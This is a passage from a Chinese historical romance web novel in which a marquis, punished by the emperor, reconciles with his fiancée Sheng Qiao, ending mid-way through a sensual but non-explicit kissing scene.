不过这样也好,他原本就嫌弃那伤口太浅,这会儿在雨里跪上半晌,估计能看着更严重些,阿乔心软,没准看到之后就会立刻原谅他了。
只是他想得虽好,可阿乔估计还不知道他已经回了长安,上次见面还是在济善堂,两人不欢而散,只怕阿乔根本不想见他。
要不要先去盛怀义那探探口风?
徐肃年低头敛目一副跪省的模样,实际上心里一直在想些乱七八糟的。
永德殿内,崇安帝并未召见什么朝臣,他一个人站在半敞开的支摘窗前,默默看着跪在阶下的徐肃年。
因为他低着头,看不清表情,只能看到他浑身早已就完全湿了,连发冠都有些歪斜,远远瞧着颇为狼狈。
这永德殿外人来人往,除了洒扫的宫女太监之外,还可能有来往的朝臣。
只怕徐肃年在此罚跪的消息没一会儿就会传出去,届时所有人都会知道,一向在陛下面前得脸的端阳侯惹怒了陛下,就算他再炽手可热,只怕到时候也会被一盆冷水浇灭。
一个失了皇上恩宠的端阳侯,会怎样?
崇安帝看着这个自己看着长大的孩子,心想,归根结底还是他太宠他了,这才让他忘了自己的身份,敢在他的面前耍心思。
“来人。”
崇安帝最后看了那罚跪的身影一眼,然后召来庆和,吩咐道,“看着他跪够了两个时辰,再让他回去。”
“是。”
两个时辰后,正好敲了酉时的钟。
庆和亲自过去扶了徐肃年起来,然后道:“侯爷,陛下今日恐怕没时间见您了,吩咐奴婢送您出去呢。”
雨势渐小,徐肃年看了看天色,眼看都要天黑了,他也懒得再和庆和虚以逶迤,直接推拒道:“不劳烦庆公公,我自己出宫就行了。”
在坚硬潮湿的台阶上跪了两个多时辰,纵然是铁打的身子也有些扛不住。
徐肃年虽然有在盛乔跟前故意装可怜的念头,可现在实在太狼狈,他也不想让盛乔看见自己现在的模样。
因此他还是决定先回家休息一夜,待明日再去找盛乔,以防自己现在这模样会把她吓到。
没想到刚一出皇城,就连到一辆挂着燕国公府徽记的马车正迎面驶过来。
徐肃年下意识勒紧了缰绳。
似有所感,对面的马车也跟着停下,车门被推开,盛乔从车厢内探身看了过来。
隔着朦朦胧胧的雨雾,两人的视线在半空交汇。
第48章 示弱谁叫你亲我了?!
盛乔出门之后,才发现自己就算出来,也不知道去哪找徐肃年。
长安这么大,就算徐肃年已经回来了,难道还指望着在街上遇到么?
原本想直接回家,但走到半路盛乔又忽然想到,先前二叔和二哥每次出门回来,都要第一时间进宫向陛下复命,徐肃年应当也是如此罢。
抱着碰碰运气的念头,盛乔命人驾车往皇城去,此时天还没黑,若是照三哥昨天说的来算,徐肃年应当刚进长安城才对,那他进宫觐见的时候,他们或许会在路上遇到。
但到底能不能遇到,终究是个未知数,盛乔心里并不抱有希望。
只是没想到,他们才驶到皇城外,就听到一阵越行越近的马蹄声。
因为下着雨,盛乔便没叫琥珀他们跟着,而驾车的燕国公府的车夫还不知道自家小娘子今日到底是为了找谁,更不认得什么端阳侯。
盛乔坐在马车里,也不知那到底是不是徐肃年,只是心里有一种本能的预感。
她伸手推开车门,果真看到了迎面骑马而来的徐
肃年。
透过蒙蒙雨雾,她看不清他的表情,只能隐约瞧见他的轮廓。
明明是盛乔自己想来见他的,可真的见到他之后,盛乔又莫名生出了一股子退意。
两人的视线在半空中交汇,但也不过是一瞬间的接触,盛乔便立刻收回了视线。
她重新缩回马车里,吩咐车夫,“我们回去罢。”
车夫虽然不明白,但还是顺从地照做,应了一声就要调转车头。
徐肃年怎么都没想到会在这里遇到盛乔,一时间还有些发愣,此时见她竟要掉头离开,才回过神,连忙控马上前。
可他到底在雨中跪了两个多时辰,没有倒下去已经是身体康健了,此时尚有些虚弱,情急之下险些从马背上摔下来。
他不想让盛乔担心,更不想让盛乔看到自己虚弱的一幕,于是连忙抓紧缰绳稳住身形。
可到底是迟了几步,眼看马车已经走出好远,徐肃年咬牙追上去时,马车已经拐到了城外的巷子里。
小巷狭窄,徐肃年无论如何不能截住马车,徐肃年停在巷口犹豫片刻,估算了一下从此处到燕国公府的路,然后转身往另一条路去了。
盛乔虽然坐在马车里,实际一直贴在窗边听着外面的动静,听到身后的马蹄声不知不觉地停住,盛乔就知道徐肃年是走了。
虽然此时雨势已经慢慢减小,但徐肃年连把伞都没打,衣裳早就湿透了,盛乔希望他早些回家,可他真的走了,心里又有些暗暗的失落。
正在这时,听到车夫吁的一声,马车忽然停下,盛乔正要推门问怎么了,就听到旁边的车窗被人敲了敲。
还以为是车夫要禀报什么,盛乔立刻推开车窗,不料看到的却是徐肃年的脸。
也不知他方才是做了什么,明明穿戴了油衣和簦,但他里面的衣裳竟然也湿透了,滴落的雨水顺着发丝从耳畔滑落,滴到衣领上,在颈口汇成一小滩,看上去分外狼狈。
盛乔从来没见过徐肃年这个样子,在她的印象里,徐肃年就算是假扮车夫赶车的时候,也是从容利落的。
难道……
盛乔忽然想到徐肃年方才是从皇宫里出来的,如果是觐见陛下,应当是在宫殿里才是,怎么会淋得浑身湿透。
她咬唇问道:“是不是……陛下难为你了。”
只她这一句话,徐肃年就意识到她应当是知道什么了,但在此时他无心去猜想盛乔是怎么知道的,下意识就要摇头。
他之所以没告诉盛乔这些事,其实是和盛怀义想的一样,就是不希望她心里负担太重。
他希望盛乔对他的感情是喜欢,而不是对他感谢和愧疚。
可否认的话还没说出口,就见盛乔红着眼眶问他,“徐肃年,你是不是要一辈子都骗我。”
少女的话不像质问,只是带着委屈的怨念,却像一根针一样直直地戳进徐肃年的心里,不算很疼,却酸酸的,扎的人心口发闷。
“对不起。”
徐肃年自问能言善辩,可此时此刻竟有些说不出话来了,沉默半晌,也只是说了一句抱歉。
盛乔不想听他的道歉,执拗地盯着他。
徐肃年被她的眼神盯得莫名无措,叹了口气,然后避重就轻地说:“陛下忙于政事,没空见我,这才在殿外等了等,所以才淋了雨,真的不碍事。”
要真的只是淋了雨,他的脸色怎么会这么苍白,何况他不是路上还受了伤吗?三哥说陛下还特意派了御医出城给他诊治,明知道他受了伤,怎么还会见他在雨里等呢。
偌大的皇宫难道没有一个房间能让他坐着么。
盛乔难得没被徐肃年蒙骗过去,水濛濛的大眼睛盯着他不放,“你的伤好了吗?可以淋雨吗?”
徐肃年更是惊讶,“你怎么知道我受伤了?”
总不能说是在三哥那偷听到的罢,盛乔一时找不到借口,抿着嘴唇不说话。
徐肃年却已经隐约猜到了,“是不是盛伯父告诉你的?还是三郎?”
盛乔还是不说话。
徐肃年看着她的眼睛,因为太过纯净清澈,仿佛这一眼就能看到眼底,能看到她所有的情绪。
而此时,那里面写着满满的担心。
“阿乔,你担心我,所以才特意来找我,是不是?”
徐肃年此人就是这点最让人讨厌,有些话明明可以心知肚明,他却偏偏要戳破说出来。
盛乔瞬间不想理他了,甚至想关上窗户,可她的手指才刚刚碰到窗扇,就听到徐肃年忽然痛苦地嘶了一声,仿佛是牵动了旧伤似的。
盛乔一下子忘了生气,忙问:“你怎么了?”
话一说出口,就见徐肃年得逞般地勾了勾唇,一副“明明被我说中还不承认”的得意样子。
又被这男人骗了!
盛乔气的使劲推了他一下,这一下正好打在他的受伤的左臂上,撕裂般的痛意传来,徐肃年下意识地皱了下眉。
盛乔一直在看着他的表情,见他还在装模作样,瞬间更生气了,“你就知道戏弄我是不是,你到底有没有受伤?”
若是小伤,徐肃年恨不得主动让盛乔看到,可现下伤口被雨水泡了,不知道会有多骇人,他不想让盛乔看到。
于是,他故意做出一副轻松的样子,说:“我当然是真的受伤了。”
看他这个表情,盛乔是一点也不相信了,她哼了一声,说:“我以后再也不会相信你了。”
“你不见我,也不愿意理我。我就算有再多的办法想讨小娘子欢心也施展不出来了。”
“今天好不容易见到你,难免想和你多说几句话,示弱博你的同情和关注。”
不知道是不是因为淋过雨的缘故,他的颊侧还有隐隐的水迹,原本气质凌厉的眉眼也看着湿漉漉的,仿佛一只被打湿了毛发的大狗。
看着怪可怜的。
连说话语气都带着满满的委屈和伤心,低声道:“阿乔,我们都多久没见了。”
明明是他故意骗她,可这么一说,盛乔又觉得是自己不好了。
尤其是看到徐肃年这狼狈的样子,盛乔更是心软。
可她不想表现得那么明显,使劲抿了抿唇,然后从怀里掏出帕子,胡乱地砸到了徐肃年的脸上。
“先把你脸上的雨水擦一擦罢。”
小娘子语气凶巴巴的,徐肃年却从中听出了满满的关心,他接过帕子擦去额角的水渍,然后便要把帕子还给她。
盛乔高傲地哼了一声,“被你碰过的帕子,我才不要。”
这已经不是盛乔第一次这么撒气,但听到这话,徐肃年没有半点恼怒,反而慢条斯理地将帕子收回袖中,然后问盛乔,“被我碰过的所有东西,你都不要了?”
盛乔未答,只是用最冷漠最事不关己的眼神看着他。
殊不知在徐肃年眼里,她就像是一只被揪痛了尾巴的小猫,看似凶神恶煞的,实际上那娇憨的模样,更像是在撒娇。
徐肃年几乎是用尽全力才压住唇角试图上扬的弧度,他没说话,只是上前一步靠近车窗边,然后飞快在盛乔微扬的脸侧亲了一下。
他的动作实在太快,以至于盛乔反应过来的时候,他已经站回了方才的位置。
若不是脸颊上还存留着男人嘴唇的温热,盛乔几乎要以为自己是感觉错了。
她下意识伸手在脸侧碰了碰,但等她看到徐肃年那毫不掩饰的笑意时,又立刻恼怒起来,伸手就要往徐肃年身上打。
可
还没碰到就又停下了。
虽然方才徐肃年是故意装的,不过他到底是真的受了伤,盛乔也怕自己没轻没重的会打到他的伤处。
不料这一犹豫,竟然又给了徐肃年可乘之机,他伸手握住盛乔停在半空的手指,拉到唇边又印上一吻。
像被烫到了似的,盛乔立刻抽回手,然后下意识就往旁边去看。
幸好雨天路上无人,没有其他人会看到。
盛乔捂着自己刚刚被他亲过的手背,瞪大眼睛去看他,质问道:“谁叫你,谁叫你……亲我了。”
因为怕被车夫听到,最后三个字,盛乔刻意压低了声音。
徐肃年假装没听到,“小娘子说什么?”
纵使四周无人,可在这大庭广众之下,盛乔也不好意思重复刚才的话,只瞪着圆溜溜的眼睛不说话。
徐肃年却语气无辜的说:“我刚刚亲了你的脸,你就又把手伸过来,难道不是因为小娘子心里喜欢,想故意让我多亲几下?”
第49章 翻墙阿乔,我想亲你
干嘛要和他说这些,又不是不知道自己从来说不过他。
盛乔有些懊恼地抿了下唇,干脆不再理他。
她狠心地一把关了窗户,然后吩咐车夫回家,徐肃年这次没再追上前,只对着还没走远地马车喊了一句,“小娘子,等我养好伤再去找你。”
盛乔捂着耳朵只当没听到,半句话也不想应答。
直到马车回到家,盛乔也没叫人护送,自己一个人撑伞回到了荣雪园。
快走到门口的时候,她忽然觉得雨滴打在伞面上的声音变小了,于是半倾着伞,伸手想去接落下的雨滴。
琥珀和琉璃他们也不知道盛乔方才是去了哪,穿着油衣门口张望个不停,担心盛乔出去太久会淋雨。
此时见到盛乔一个人回来,还没有打伞,连忙迎了上去,“小娘子,您终于回来了……”
两人飞快从廊下跑出来,一个撑伞,一个想去扶盛乔,盛乔却推开了琥珀的手,看着仍旧灰蒙蒙的天空,说:“都不下雨了,不用打伞。”
琥珀仍是不放心,“这雨还没完全停下呢,小娘子可别不当回事,万一打湿了头发,病了就不好了。”
盛乔朝她弯着眼睛笑了笑,然后快步穿过院子跑向遮雨的长廊,锦靴踏碎了阶上积聚的水面,发出啪嗒啪嗒的声响,像一面踏碎的镜子,映出了盛乔轻快活泼的身影。
琥珀和琉璃对望一样,然后快步跟了上去,琉璃收起两人的伞,搁到门外边,琥珀则上前替盛乔更衣。
她一边给盛乔解衣服扣子,一边觑着盛乔的表情,看她眉眼弯弯的,问道:“小娘子,您这一趟是去哪了?”
琥珀是知道徐肃年和她之间的事的,盛乔犹豫了一下,还是没说,只含糊地回答,“就是觉得家里太闷了,所以出去走了走,没去哪里。”
琉璃一走进来就听到盛乔这话,不由得摇了摇头,说:“小娘子这一趟从洛州回来,当真是变了不少。从前小娘子哪会提出门的事啊,只恨不得宫里有宴会的时候也在家里待着,半步都不踏出院子。”
听到琉璃的话,盛乔自己都有些恍惚了,“有那么夸张吗?”
琉璃扶着她到妆台边坐下,一边给她梳头,一边说:“当然有了,小娘子还记不记得去年中秋宴会。宫里临时办了个宫宴,娘子想带您一起去,您偏要装作头疼不去,在床上生生赖了一天呢。”
她以前居然是这个样子吗?可她怎么记得她在洛州的时候,还挺爱出门的呢。
盛乔疑惑地眨了眨眼睛。
琉璃一向快人快语,在盛乔面前也不拘束。此时她看着盛乔的表情,忍俊不禁道:“小娘子可别不信,就是不说从前,只说现在。您今日出去之前是什么心情,和现下可是截然相反,方才哪有半点笑模样啊,捏着书页半天都没翻,奴婢自己都替您愁得慌,这才出去没半个时辰,心情立刻就变好了,眼底都是笑呢。”
是吗?
盛乔下意识抬头,看向镜中的自己,果然连眉眼间都透着笑。
她有这么开心吗?
难道徐肃年那么轻薄她,她不应该生气吗?
盛乔觉得有点搞不懂自己了。
琉璃却不知她此时在想什么,双手合十一副祈求上苍保佑的虔诚表情,认真道:“无论是因为什么,奴婢都希望咱们小娘子一辈子都快快乐乐高高兴兴的。”
盛乔被这话说的一愣。
她忽然觉得自己很纠结,其实又有什么可纠结的呢。不管徐肃年怎么样,至少她和他在一起的时候,是很开心的。
只要她自己高兴,其他的事就都不重要了。
何况在他还是车夫的时候,对于身份差距完全一个天上一个地下的徐少安,她尚且能坦然面对自己的感情,没道理此时因为他变成了徐肃年,成了她名正言顺的未婚夫,她反而就不敢承认自己的感情了。
难道她还要和徐肃年别扭一辈子吗?
这可不是她盛乔的性子-
徐肃年在巷子口目送盛乔离开之后,一直强撑着的精神就有些撑不住了。
他受伤太重,怕回家会让母亲担心,因此本打算先回大理寺府衙,那里专门收拾了一间他平时常住的厢房,还有一些常备的药膏。
可没想到他才走到大理寺门口,就瞧见了丹宁公主府的马车,守在车边的是他母亲的护卫张彭,一见到他便立刻迎上前请安,“参见侯爷。”
徐肃年皱了下眉,还没来得及说话,就见马车的车帘被人掀开,露出了丹宁长公主雍容贵气的脸。
“母亲……”
徐肃年有一瞬间地愣怔,下意识想要整理一下此时的着装,可他低头时,才发现自己现在竟是这样的狼狈,无论怎么遮掩都是掩饰不过去的。
丹宁长公主的眼睛已经红了,朝他招手,“快过来。”
徐肃年有些无奈地走过去,还没躬身行礼,就被丹宁长公主一把牵住了右手。
“你这孩子……”丹宁长公主一边掏出一方帕子给他擦脸,一边嗔怪地数落,“几个月不着家了,半点都不想阿娘么?”
丹宁长公主共有三个儿子,虽然平时难免对两个小的更纵容些,可在她心里,一直是更心疼徐肃年这个大儿子的。
当时徐肃年出生时,陛下还是太子,因忤逆太后险有被废的危险,她这个太子的同胞妹妹也跟着被软禁在公主府里,惊慌早产。
因此徐肃年出生时只有七个多月,又小又瘦。后来虽然陛下没有真的被废,但在朝臣中的地位也是一落千丈,她这个公主更是如同被打入了冷宫一般,平时出门都困难,更别提找御医给徐肃年调理身体了。
直到徐肃年三岁时,陛下总算登基,虽仍有太后和皇后桎梏,但总归日子是一天天好过起来了。
她的地位也跟着水涨船高,后又生下了肃景和肃成,这两个孩子都是在她地位最尊贵的时候出生的,从她被诊出喜脉的那一刻,身边都有无数人伺候,因此她后面的两个儿子都是健健康康的。
惟有长子肃年一直体弱多病,十三岁时还生了一场大病险些英年早逝,好在陛下得知此事后,开了御药房送了一株千年人参出来,才算是勉强救回了他的命。
也正是因此,丹宁长公主才给他取了“少安”这个字,寓意平安。
后来,徐肃年被皇帝派到战场上历练,丹宁长公主原本是强烈反对的,她哪里
舍得自己体弱多病的长子到边关去吃沙子,可没想到,远离京城故土之后,徐肃年的身体反而渐渐地好了起来。
只是不知道是不是在边关待了两年,心都待野了,即便回京之后,也与她生疏了似的,整个人的性格也完全变了个样,越发的沉默寡言。
明明丹宁长公主府就在离着皇城最近的永乐坊,与大理寺之间的车程不过两刻来钟,但徐肃年就是宁愿宿在大理寺府衙,也不回家去住。
尤其去岁陛下又给他升任了大理寺卿,手下管的事越多,回家的次数也越来越少了。
丹宁长公主私下算着,上次他在家里住了两天以上,恐怕还是上元节的时候。如今眨眼数月过去,都已经入了夏。
徐肃年不太习惯母亲对自己这么亲近,下意识躲了一下她凑过来给自己擦汗的手,丹宁长公主的动作便就这么尴尬地停在半空,母子间的气氛瞬间僵持住了。
丹宁长公主的眼圈泛红,徐肃年轻咳一声,想说些什么缓和一下气氛,但最终还是干巴巴地说了一句,“都是儿子不孝。”
明明这孩子小时候也很黏自己的,怎么现在……
丹宁长公主张了张嘴,原本是想说些什么,可在触及到徐肃年狼狈的样子之后,还是无奈地把话咽了回去。
她将帕子塞到徐肃年手里,示意他自己擦,然后有些无奈地问道:“你都几个月没回家了,今天还不回去吗?”
“听庆和说,你被陛下罚跪了两个时辰,台阶那么凉,这天又下着大雨,阿娘实在担心你,回去让周太医给你瞧瞧,你还年轻,别落下病根。”
丹宁长公主都把话说到这份上了,徐肃年也不好再推拒,于是点了点头,应道:“好,我随母亲回家。”
丹宁长公主这才满意了些,她往后退了退坐到马车最里面,然后示意徐肃年上车随她一起坐。
可徐肃年最终也只是朝她拱了拱手,然后说:“儿子身上不干净,就不上去了,我骑马就是。”
说着也不等丹宁长公主答不答应,他径直往走向自己的马,然后翻身骑了上去。
就知道他不会上来,虽然在意料之中,丹宁长公主仍是有些失望,可徐肃年的性子他最了解,她无奈地叹了口气,然后吩咐人落下了车帘,转头回府了。
因为知道徐肃年我今天回来,丹宁长公主特意将当值的驸马以及在太学读书的小儿子都提早叫了回来,一家人难得凑一块用个团圆饭。
饭桌上,丹宁长公主问起徐肃景,徐肃年如实将自己答应徐肃景的那番话告诉了丹宁长公主。
见她听完担心地蹙起眉头,徐肃年忙又补充了一句,“母亲放心,我将齐甄和齐源给二郎留下了。无论发生什么,他们都定然会保护二郎的安全,二郎一定不会出事的。”
丹宁长公主却看着他,说:“你在路上受伤,是不是就是因为你把齐甄和齐源留给肃景了。”
没想到丹宁长公主会问这个,徐肃年不由得有些发怔,一下有些不知如何回答
丹宁长公主说:“你这孩子总是这样,平日我给你什么好东西,你都要留给你两个弟弟,难道阿娘还会短了他们的吃喝不成?”
“且平时也就算了,总归都是些不值钱的俗物,可如今你竟然敢拿自己的性命开玩笑,从洛州到长安这一路上竟然连个护卫都不带……”
这话像是训斥,实际上更像是关心。丹宁长公主说着说着就哽咽起来,精致的没有一丝细纹的眼角渗出几滴晶莹的泪来,“你这孩子,什么时候才能不让我担心啊?”
徐肃年在盛乔那里一直巧言善辩,但在面对丹宁长公主时,他就像哑巴了一样,半天也说不出一句安慰的话,最后干脆从凳子上站起来,屈膝就要往丹宁长公主跟前跪。
但膝盖还没挨到地,就被丹宁长公主扶住了,她抬眼狠狠地瞪了徐肃年一眼,斥道:“才在陛下那跪了两个时辰回来,这会儿又要跪,你还要不要膝盖了?”
一边说着,一边示意身后的两个贴身婢女将徐肃年扶回座位上。
而一直沉默无言的驸马徐荆在听到丹宁长公主这话之后,终于开了口,问徐肃年:“是此行差事没办好,惹得陛下动怒了?”
请旨赐婚的事,徐肃年一直没和丹宁长公主与驸马说,此时正好问了,他便直白地开口说道:“并非公事,而是私事。”
徐荆的眉头皱了皱,“什么私事?”
徐肃年说:“我想陛下请旨赐婚了。”
“赐婚?”
丹宁长公主十分惊讶,“和谁?你别忘了,你和盛家三娘子的婚事还没退呢。”
徐肃年说:“就是和盛家三娘。”
丹宁长公主觉得自己被他弄糊涂了,“你们两个本就有婚约,何必还多此一举地请陛下赐婚?”
洛州发生的事,除了徐肃景,家里其他人也是一概不知,甚至丹宁长公主都不知道阿乔去了洛州的事。
“盛家不是想退婚么?我不想退,”徐肃年也不欲解释,只道,“且去岁陛下一直提到我的婚事,与其让陛下赐婚,不如我主动请旨,以防陛下再额外为我花心思。”
丹宁长公主道:“陛下是最关心你的了,你去洛州这几个月,陛下一直在问起你的婚事。”
徐肃年并不意外,说:“既如此,便等陛下早些下旨罢,我能早日成婚,母亲也能早些放心。”
回来这么久,总算说了一句让人听着顺耳的话,丹宁长公主无奈的点了点他,然后说道:“你啊,幸亏请了陛下赐婚,否则你这一走几个月没音信,先前下聘的时候也不露面,盛家只怕真要将这婚事退了。”
“盛家那位小娘子我是见过的,温柔娴静,端庄可人,与你很是相配。这么好的婚事,的确不该错过。”
丹宁长公主说着,还推了推一旁的徐荆,“驸马,你说是不是?”
徐荆微笑着点了点头,然后说道:“殿下说得是。”
徐肃年听了丹宁长公主这话,却险些笑出声来,温柔可人也便罢了,娴静、端庄这几个词,哪里和阿乔有半点关系。
想到在巷口分别时盛乔那个娇嗔的模样,徐肃年就觉得心口像是有小猫挠过似的,迫不及待地想去见她。
可用过晚膳之后,丹宁长公主就立刻请了太医给他诊脉,先是包扎了伤口,然后又开了一大堆驱寒的药方,最后丹宁长公主甚至还小题大做地叫人去陛下那给他告了几天的假,让他在家中好好休养。
这是把他当成小孩子了。
其实他现在早已十分康健了,那点伤,只休息一宿就不疼了。
徐肃年无奈,却不想让母亲失望,于是生生在家躺了三天,这才借口衙门有事出门,然后一路直往燕国公府去-
那日分别时徐肃年说的话,盛乔是听到了的。她本以为照徐肃年的那个性子,第二天就会上门拜访,没料到三天过去,还是连个鬼影子都没有。
盛乔有点生气,但更多的还是担心,总不会是他伤的太重,一下子卧床不起了罢。
她心中有了挂念,坐在窗边看书的时候,都有些微微的出神。
这时,窗户被人从外面轻叩了两声,盛乔嚯然回神,推开窗去看,竟然是徐肃年一身常服站在窗外。
她惊讶地瞪大眼睛,然后左右看了看,不敢相信地问道:“你,你怎么过来的……”
这可不是济善堂,是国公府,门里门外都有人把守的。
徐肃年从窗户里跳进来,信口胡编,“我来拜访盛伯父,然后你阿爹让我过来的。”
“真的假的?”
盛乔听他说的一本正经,还真有些信了,但转而又觉出不对来,他阿爹怎么会允许徐肃年来她的院子。
这人又骗她,盛乔怒气冲冲地瞪他一眼,想把他赶出去,可手指刚碰到他的胸口,就被他一把拉住,扯进了怀里。
久违的拥抱让她有一瞬间的僵硬,以至于接下来都没有挣扎。
徐肃年感受着她的顺从,低头在她发顶间蹭了蹭,然后单手托起她的下巴,哑声问道:“阿乔,我想亲你,可不可以?”
第50章 亲昵抱到书桌上
不说在洛州,就说前几日在巷子里,马车前,也不见徐肃年有半点收敛,今天还大着胆子跑到了她的荣雪园,直接翻窗进了她的闺房。
两人又不是
第一次亲近。
这会儿怎么又莫名矜持起来了。
明明他的手指已经挨到了她的脸,明明他已经离她那么近了。箭在弦上,何必停下多此一举。
盛乔垂着眼睛不说话。
徐肃年一向强势,却偏偏在这个时候,一定要她回答。
盛乔感觉着他贴在自己脸侧的手掌,干燥温热,仿佛将她躁郁的心都抚平了。
盛乔抬起眼睛,鸦羽般浓密的睫毛如扇子缓缓掀开,徐肃年从高处俯视,却仿佛能看见盛乔清澈明亮的瞳眸。
像一汪徐徐流淌的溪流,将他包裹着,让他恨不得永远沉溺其中。
“阿乔,我们分开这么久,你也想我,对不对?”
徐肃年单手托着她的脑袋,另一只手在盛乔的耳畔轻轻摩挲着,如鸟儿眷恋春天,含着满满的不舍与缱绻,他的动作温柔得让人无法拒绝。
盛乔下意识就想否认,可在感觉到徐肃年的温度之后,她又蓦然改变了想法。
“我决定了。”盛乔仰起头,坦然看着徐肃年的眼睛,“我不会再拒绝你。”
徐肃年一怔,“你……”
他先是有些惊讶,而后又立刻想到什么,轻蹙起眉毛,问道:“因为你知道了真相?所以不再拒绝我,答应嫁给我了。”
大约是真的很想知道答案,所以徐肃年难得没有掩饰自己言语之间的情绪,以至于连盛乔都听出了他声音里的忐忑不安。
他在忐忑什么?
盛乔不明白,疑惑地看着徐肃年。
徐肃年问:“你是担心我受了陛下责难,才会说这番话。”
盛乔觉得这人很奇怪,“先前你骗着哄着都想娶我,现在我答应不再退婚了,你反而不高兴了。”
“我没有不高兴。”徐肃年稍稍将她松开,然后握住她的手,“无论如何,你会担心我,就是喜欢我。愿意嫁给我,就是想和我共度余生,是不是?”
其实,盛乔的心里就是不和徐肃年计较了,她觉得自己实在没必要沉溺于洛州发生的那些事,应该眼界开阔地向前看。
可听着徐肃年堂而皇之地将这话说出来,盛乔怎么听怎么觉得别扭。
她不想承认,怕他得意。也不想否认,总觉得那样会显得怯懦。
盛乔不想这样,因此只有一瞬间的犹豫,就又勇敢地仰头看着他的眼睛。
“我现在答应你,是因为我大人大量,不和你计较。”盛乔哼一声,“若是我们成婚之后,你还骗我,或是对我不好,我不会原谅你的。你知道的,我可是半点委屈都受不了的,而且我阿爹阿娘,还有我二叔,几个哥哥,他们都不会放过你的。”
她很有气势地在徐肃年的胸口上使劲点了点,“可别以为我好欺负。”
在洛州,盛乔是济善堂的先生,衣着打扮一向素净低调。
但在长安,在燕国公府,盛乔就是最尊贵的小娘子,满身绫罗绸缎,发间堆着珍玉珠翠。
她的发间攒着一支点翠孔雀簪,珍珠流苏在鬓边垂落,圆润的珍珠在日光映射下泛着淡淡的光,将她漂亮的五官衬得更加贵气惹眼。
徐肃年情不自禁地想要低头亲她,却被盛乔抬手拦住。
她微微抬眼时,透着不可言说的明媚与矜傲。
徐肃年几乎是下意识地滚动了一下喉结。过了好半晌才开口承诺道:“相信我,我永远不会让你失望的。”
他的语气诚恳认真,盛乔总算满意了些。
徐肃年垂眸睨着她挡在两人中间的手臂,问:“现在可以亲了吗?”
这人又来装模作样了。
盛乔有些不满地撅了撅嘴,忽又不知想起什么,她轻轻压了下唇角,手指勾着他胸口的衣裳,将他一寸寸地拉到自己身边。
一瞬间的愣怔之后,徐肃年立刻放松了绷紧的身体,顺着盛乔的力道慢慢躬下身。
这个胆大的小娘子。
徐肃年已经猜到了盛乔想做什么。
于是特意闭了眼睛,只等待小娘子主动送上门来。
可半晌等待之后,却什么都没发生。
他不由得睁开眼,正看到盛乔抿唇看她,葡萄似的眼睛水润润地盯着他。
“你闭眼干什么?”
盛乔看似无辜,实际上眼里藏着十分明显的揶揄,“你以为我要做什么?”
可她偏偏还以为自己将这小心思藏的很好,眼睛眨啊眨的,像只刚刚捣乱之后还有些心虚的小猫。
徐肃年将她的表情尽收眼底,想捏她的耳朵撒气,或是捉着她的手,将她完全锁在怀里。
他的眼神幽暗,看着此时还正洋洋得意的小娘子,眼睫微垂,然后一把圈住她的细腰,另一只手托着她的臀,一把将她竖抱了起来。
双脚悬空的那一瞬间,盛乔吓得惊呼一声,本能地扑腾着手臂去圈徐肃年的脖子,然后整个上半身都栽进了他的怀里。
她的所有动作都在徐肃年的意料之外,徐肃年将她稳稳地接住,像是在抱孩子似的,抱着她朝窗边的书桌走去。
盛乔被紧紧抱着,想挣扎也挣扎不开,何况她们本来站得就离书桌不远,徐肃年身高腿长,没两步就走了过去,将她稳稳放在了书桌上。
书桌是写字看书的地方,怎么能坐呢。
盛乔还是第一次做这样出格的动作,扑腾着小腿想要跳下来,徐肃年却根本没有松手的意思,一手握着她的手,一手向后,顺着她的脊背轻轻摩挲。
盛乔怕痒,夏天穿的衣裳又分外单薄,徐肃年温热的大手贴着她的腰身一直往上,最后停在了她的蝴蝶骨处。
若她真的是蝴蝶,脆弱地翅膀一定在不停地颤动。
可她没有翅膀,只能乖乖靠在男人的掌中。
她感觉到徐肃年越靠越近的上身,感觉到他温热的打在颈边的呼吸,于是下意识地闭上了眼。
徐肃年倾身压上去,看着她满头珠翠倒在繁缛书页中,几乎下一刻就要亲上去。
但在将要碰到她嘴唇的前一刻,徐肃年停住了。
盛乔闭眼等了半晌也没有感觉到他落下的吻,下意识地睁开眼,正好撞上男人带着轻笑的眼睛。
她知道,徐肃年这是在报复她刚才的行为。
还真是个睚眦必报的小气鬼。
盛乔不说话,只充满怨念地看着他。
徐肃年轻笑一声,指腹在她的眉心轻轻刮过,然后捏了捏她的脸颊,终于吻了上去。
已经隔了太久没有亲近了。
但因为一直有那些乱七八糟的情绪挡在中间,盛乔也没觉出什么想念来,满心满意只顾着生气了。
但是现在,两人紧紧地贴在一起,唇舌交缠的瞬间,仿佛有一簇迸发的火苗,将盛乔心里原本已经熄灭的火焰骤然点燃,且瞬间燎原。
她起先还只是迎合,但到后来,她勾着徐肃年脖颈的手臂越抱越紧,几乎是将人直接勾到了自己的身前。
徐肃年原本还单手压在桌沿上,可在感受到盛乔的主动之后,他的理智就被瞬间抛弃,整个人直接压到了盛乔身上,坚硬的胸口贴着少女的柔软,连呼吸声都变得急促。
几乎是迫不及待的,他扶着女郎的后脑,狠狠地吻了上去,唇瓣相碰还不够,舌尖勾颤也不够,大约是太久没有尝到如此美味,徐肃年丝毫不再掩饰自己的急切,抵在柔软唇边的尖锐犬齿不再是研磨,更像是吞咬。
盛乔从未见过徐肃年这个样子,两人离得太近,她几乎能看到徐肃年眼睛里堆积的欲望,如一团被打翻的墨,浓得化不开。
又像一汪深海,看似平静,实际稍不注意就会深陷其中,然后被完全吞没,再也无法脱身。
盛乔觉得自己已经陷进去了,整个人沉在海浪里起起伏伏,可她并不想起来,只想将身前的男人越搂越紧。
明明是夏天,外面艳阳高照,她是最怕热的,此时此刻却分外渴望男人身上的温度,一点都不想放开手,紧紧地搂着他的脖子,想要将他整个人印在自己身上似的。
盛乔的书桌原本干净利落,笔墨纸砚各自摆放地整整齐齐,几本书册也堆叠在他们该待的地方,桌子正中摊着几张素白的宣纸,是琉璃新帮她裁好让她每日练字用的。
可两人毫不顾忌地压在书桌上,盛乔刚刚躺下来的时候,就已经碰倒了书册,更别提那些轻飘飘的宣纸,胡乱被她压在身下。
甚至不知何时,盛乔头上的簪环也掉了几根,大半的头发散落,逶迤在一片书墨之中。
也不知是热的还是怎么,盛乔的眼睛和耳朵都是热的,甚至那淡淡的绯红还一直延续到了白皙的脖颈,整片锁骨都染上了艳色,仿若一片晚霞覆盖其上,为她原本娇俏明媚的五官添了几分妩媚勾人,与身下的素净的书页形成了强烈的对比。
徐肃年原本的克制已经被彻底扔掉了,两人相拥着躺在桌子上,彼此都奉献了自己最大的热情。
徐肃年的手顺着盛乔的腰身上下滑动,盛乔的两条腿也不自觉地屈起,试图勾到徐肃年的腰上。
